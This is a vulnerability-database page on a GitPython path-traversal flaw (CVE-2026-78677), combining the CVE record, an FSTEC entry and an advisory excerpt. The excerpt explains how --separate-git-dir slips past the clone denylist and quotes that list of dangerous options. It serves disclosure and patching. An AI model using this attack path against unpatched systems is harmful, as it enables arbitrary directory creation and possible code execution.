Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-78677 (GCVE-0-2026-78677)
Vulnerability from cvelistv5 – Published: 2026-08-25 01:30 – Updated: 2026-08-25 15:24- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
| URL | Tags |
|---|---|
| https://github.com/gitpython-developers/GitPython… | vendor-advisory |
| https://www.vulncheck.com/advisories/gitpython-be… | third-party-advisory |
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| gitpython-developers | GitPython |
Affected:
0 , < 3.1.59
(semver)
Unaffected: 3.1.59 (semver) cpe:2.3:a:gitpython_project:gitpython:*:*:*:*:*:*:*:* |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-78677",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-25T15:24:35.538595Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-25T15:24:57.573Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:pypi/GitPython",
"product": "GitPython",
"vendor": "gitpython-developers",
"versions": [
{
"lessThan": "3.1.59",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "3.1.59",
"versionType": "semver"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gitpython_project:gitpython:*:*:*:*:*:*:*:*",
"versionEndExcluding": "3.1.59",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "Pig-Tail"
}
],
"datePublic": "2026-08-10T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "GitPython before 3.1.59 omits --separate-git-dir from unsafe_git_clone_options, allowing attackers to create arbitrary git directories outside the intended clone destination. Attackers can pass a separate_git_dir parameter to Repo.clone_from() or Repo.clone() to redirect repository metadata to an attacker-controlled filesystem path, enabling arbitrary directory creation and potential hook execution."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS"
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-25T01:30:34.719Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"name": "GitHub Security Advisory (GHSA-8mcc-hrx5-hvxc)",
"tags": [
"vendor-advisory"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc"
},
{
"name": "VulnCheck Advisory: GitPython before 3.1.59 Path Traversal via separate-git-dir",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir"
}
],
"title": "GitPython before 3.1.59 Path Traversal via separate-git-dir",
"x_generator": {
"engine": "vulncheck-endgame"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2026-78677",
"datePublished": "2026-08-25T01:30:34.719Z",
"dateReserved": "2026-08-25T01:17:12.262Z",
"dateUpdated": "2026-08-25T15:24:57.573Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-78677",
"date": "2026-09-18",
"epss": "0.0043",
"percentile": "0.36771"
},
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:pypi/GitPython",
"product": "GitPython",
"vendor": "gitpython-developers",
"versions": [
{
"lessThan": "3.1.59",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "3.1.59",
"versionType": "semver"
}
]
}
],
"source": "disclosure@vulncheck.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gitpython_project:gitpython:*:*:*:*:*:python:*:*",
"matchCriteriaId": "D8F63184-E04E-4384-955E-8478331F9CBD",
"versionEndExcluding": "3.1.59",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "GitPython before 3.1.59 omits --separate-git-dir from unsafe_git_clone_options, allowing attackers to create arbitrary git directories outside the intended clone destination. Attackers can pass a separate_git_dir parameter to Repo.clone_from() or Repo.clone() to redirect repository metadata to an attacker-controlled filesystem path, enabling arbitrary directory creation and potential hook execution."
}
],
"id": "CVE-2026-78677",
"lastModified": "2026-09-02T19:12:24.230",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "disclosure@vulncheck.com",
"type": "Secondary"
}
],
"cvssMetricV40": [
{
"cvssData": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"availabilityRequirement": "NOT_DEFINED",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"confidentialityRequirement": "NOT_DEFINED",
"exploitMaturity": "NOT_DEFINED",
"integrityRequirement": "NOT_DEFINED",
"modifiedAttackComplexity": "NOT_DEFINED",
"modifiedAttackRequirements": "NOT_DEFINED",
"modifiedAttackVector": "NOT_DEFINED",
"modifiedPrivilegesRequired": "NOT_DEFINED",
"modifiedSubAvailabilityImpact": "NOT_DEFINED",
"modifiedSubConfidentialityImpact": "NOT_DEFINED",
"modifiedSubIntegrityImpact": "NOT_DEFINED",
"modifiedUserInteraction": "NOT_DEFINED",
"modifiedVulnAvailabilityImpact": "NOT_DEFINED",
"modifiedVulnConfidentialityImpact": "NOT_DEFINED",
"modifiedVulnIntegrityImpact": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"source": "disclosure@vulncheck.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-78677",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "yes"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-25T15:24:35.538595Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-08-25T02:16:52.173",
"references": [
{
"source": "disclosure@vulncheck.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc"
},
{
"source": "disclosure@vulncheck.com",
"tags": [
"Third Party Advisory"
],
"url": "https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc"
}
],
"sourceIdentifier": "disclosure@vulncheck.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-22"
}
],
"source": "disclosure@vulncheck.com",
"type": "Secondary"
}
]
}
},
"suse_vex": {
"aggregate_severity": "important",
"current_release_date": "2026-09-10T01:55:13Z",
"cve": "CVE-2026-78677",
"id": "CVE-2026-78677",
"initial_release_date": "2026-08-26T01:10:37Z",
"product_status:known_affected": "5",
"product_status:recommended": "15",
"source": "SUSE CSAF VEX",
"status": "interim",
"title": "SUSE CVE CVE-2026-78677",
"url": "https://ftp.suse.com/pub/projects/security/csaf-vex/cve-2026-78677.json",
"version": "3"
},
"vulnrichment": {
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-78677",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-25T15:24:35.538595Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-25T15:24:54.346Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:pypi/GitPython",
"product": "GitPython",
"vendor": "gitpython-developers",
"versions": [
{
"lessThan": "3.1.59",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "3.1.59",
"versionType": "semver"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gitpython_project:gitpython:*:*:*:*:*:*:*:*",
"versionEndExcluding": "3.1.59",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "Pig-Tail"
}
],
"datePublic": "2026-08-10T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "GitPython before 3.1.59 omits --separate-git-dir from unsafe_git_clone_options, allowing attackers to create arbitrary git directories outside the intended clone destination. Attackers can pass a separate_git_dir parameter to Repo.clone_from() or Repo.clone() to redirect repository metadata to an attacker-controlled filesystem path, enabling arbitrary directory creation and potential hook execution."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS"
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-25T01:30:34.719Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"name": "GitHub Security Advisory (GHSA-8mcc-hrx5-hvxc)",
"tags": [
"vendor-advisory"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc"
},
{
"name": "VulnCheck Advisory: GitPython before 3.1.59 Path Traversal via separate-git-dir",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir"
}
],
"title": "GitPython before 3.1.59 Path Traversal via separate-git-dir",
"x_generator": {
"engine": "vulncheck-endgame"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2026-78677",
"datePublished": "2026-08-25T01:30:34.719Z",
"dateReserved": "2026-08-25T01:17:12.262Z",
"dateUpdated": "2026-08-25T15:24:57.573Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
BDU:2026-12704 (CVE-2026-78677)
Vulnerability from fstec – Published: 2026-08-27 – Updated: 2026-08-27 – View on bdu.fstec.ru Exploit publicly available Fixed- CWE-22 - Неверное ограничение имени пути к каталогу с ограниченным доступом («Обход пути»)
{
"CVSS 2.0": "AV:N/AC:L/Au:N/C:C/I:N/A:N",
"CVSS 3.0": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"CVSS 4.0": "AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"remediation_\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440": null,
"remediation_\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435": null,
"\u0412\u0435\u043d\u0434\u043e\u0440 \u041f\u041e": "\u0421\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f",
"\u0412\u0435\u0440\u0441\u0438\u044f \u041f\u041e": "\u0434\u043e 3.1.58 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e (GitPython)",
"\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u043f\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e": "\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://github.com/gitpython-developers/GitPython/releases/tag/3.1.59",
"\u0414\u0430\u0442\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f": "10.08.2026",
"\u0414\u0430\u0442\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f": "27.08.2026",
"\u0414\u0430\u0442\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438": "27.08.2026",
"\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440": "BDU:2026-12704",
"\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "CVE-2026-78677, GHSA-8mcc-hrx5-hvxc",
"\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430",
"\u041a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u0434\u0430",
"\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u041f\u041e": "GitPython",
"\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u041e\u0421 \u0438 \u0442\u0438\u043f \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b": null,
"\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 Repo.clone_from() \u0438 Repo.clone() \u043c\u043e\u0434\u0443\u043b\u044f git/repo/base.py \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 Python \u0434\u043b\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 git-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u043c\u0438 GitPython, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b",
"\u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430": "\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435",
"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "\u041d\u0435\u0432\u0435\u0440\u043d\u043e\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0438\u043c\u0435\u043d\u0438 \u043f\u0443\u0442\u0438 \u043a \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0443 \u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c (\u00ab\u041e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438\u00bb) (CWE-22)",
"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 Repo.clone_from() \u0438 Repo.clone() \u043c\u043e\u0434\u0443\u043b\u044f git/repo/base.py \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 Python \u0434\u043b\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 git-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u043c\u0438 GitPython \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0432\u0435\u0440\u043d\u044b\u043c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435\u043c \u0438\u043c\u0435\u043d\u0438 \u043f\u0443\u0442\u0438 \u043a \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0443 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --separate-git-dir. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b",
"\u041f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": null,
"\u041f\u0440\u043e\u0447\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f": null,
"\u0421\u0432\u044f\u0437\u044c \u0441 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u043c\u0438 \u0418\u0411": "\u0414\u0430\u043d\u043d\u044b\u0435 \u0443\u0442\u043e\u0447\u043d\u044f\u044e\u0442\u0441\u044f",
"\u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430",
"\u0421\u043f\u043e\u0441\u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f": "\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f",
"\u0421\u043f\u043e\u0441\u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438": "\u041c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c\u0438",
"\u0421\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc",
"\u0421\u0442\u0430\u0442\u0443\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c",
"\u0422\u0438\u043f \u041f\u041e": "\u041f\u0440\u0438\u043a\u043b\u0430\u0434\u043d\u043e\u0435 \u041f\u041e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c",
"\u0422\u0438\u043f \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "CWE-22",
"\u0423\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 2.0 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 7,8)\n\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 3.1 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 7,5)\n\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 4.0 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 8,7)"
}
BREW-AIDER-CVE-2026-78677 (PYSEC-2026-3787)
Vulnerability from osv_homebrew – Published: 2026-09-04 08:43 – Updated: 2026-09-09 23:40 – Source website- CWE: CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the "escapes intended base directory" sense)
- Affected component:
git/repo/base.py,Repo.unsafe_git_clone_options(class attribute, lines 153-165) andRepo._clone()(lines 1477-1520), reached via the publicRepo.clone_from()(line 1626) andRepo.clone()(line 1567) APIs. - Affected version: GitPython at HEAD (
9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)
Reachability
Repo.clone_from(url, to_path, **kwargs) (and Repo.clone()) forward arbitrary keyword arguments to the underlying git clone invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (Git._option_candidates) and checks it against a denylist, Repo.unsafe_git_clone_options, via Git.check_unsafe_options() — unless the caller passes allow_unsafe_options=True. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 → 2026-08-05) have repeatedly found incomplete or bypassable for other options (--template, --upload-pack, --config, --exec, --output, --index-output, --pathspec-from-file, etc.).
git clone also accepts --separate-git-dir=<path>, which redirects the repository's entire .git metadata directory to an arbitrary, caller-controlled filesystem path, leaving only a gitlink text file (gitdir: <path>) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython's own code: Repo.unsafe_git_init_options (line 145-150) blocks --separate-git-dir for Repo.init(), with the comment "Redirects the repository metadata to a caller-controlled path". The Repo._clone()/clone()/clone_from() docstring (line 1450-1452) is even more explicit:
:param allow_unsafe_options:
Allow unsafe options to be used, such as ``--template`` and
``--separate-git-dir``.
i.e. the maintainers' own documentation states that allow_unsafe_options=False (the default) is supposed to block --separate-git-dir for clone. But Repo.unsafe_git_clone_options does not contain it:
unsafe_git_clone_options = [
"--upload-pack",
"-u",
"--config",
"-c",
"--template",
"--bundle-uri",
]
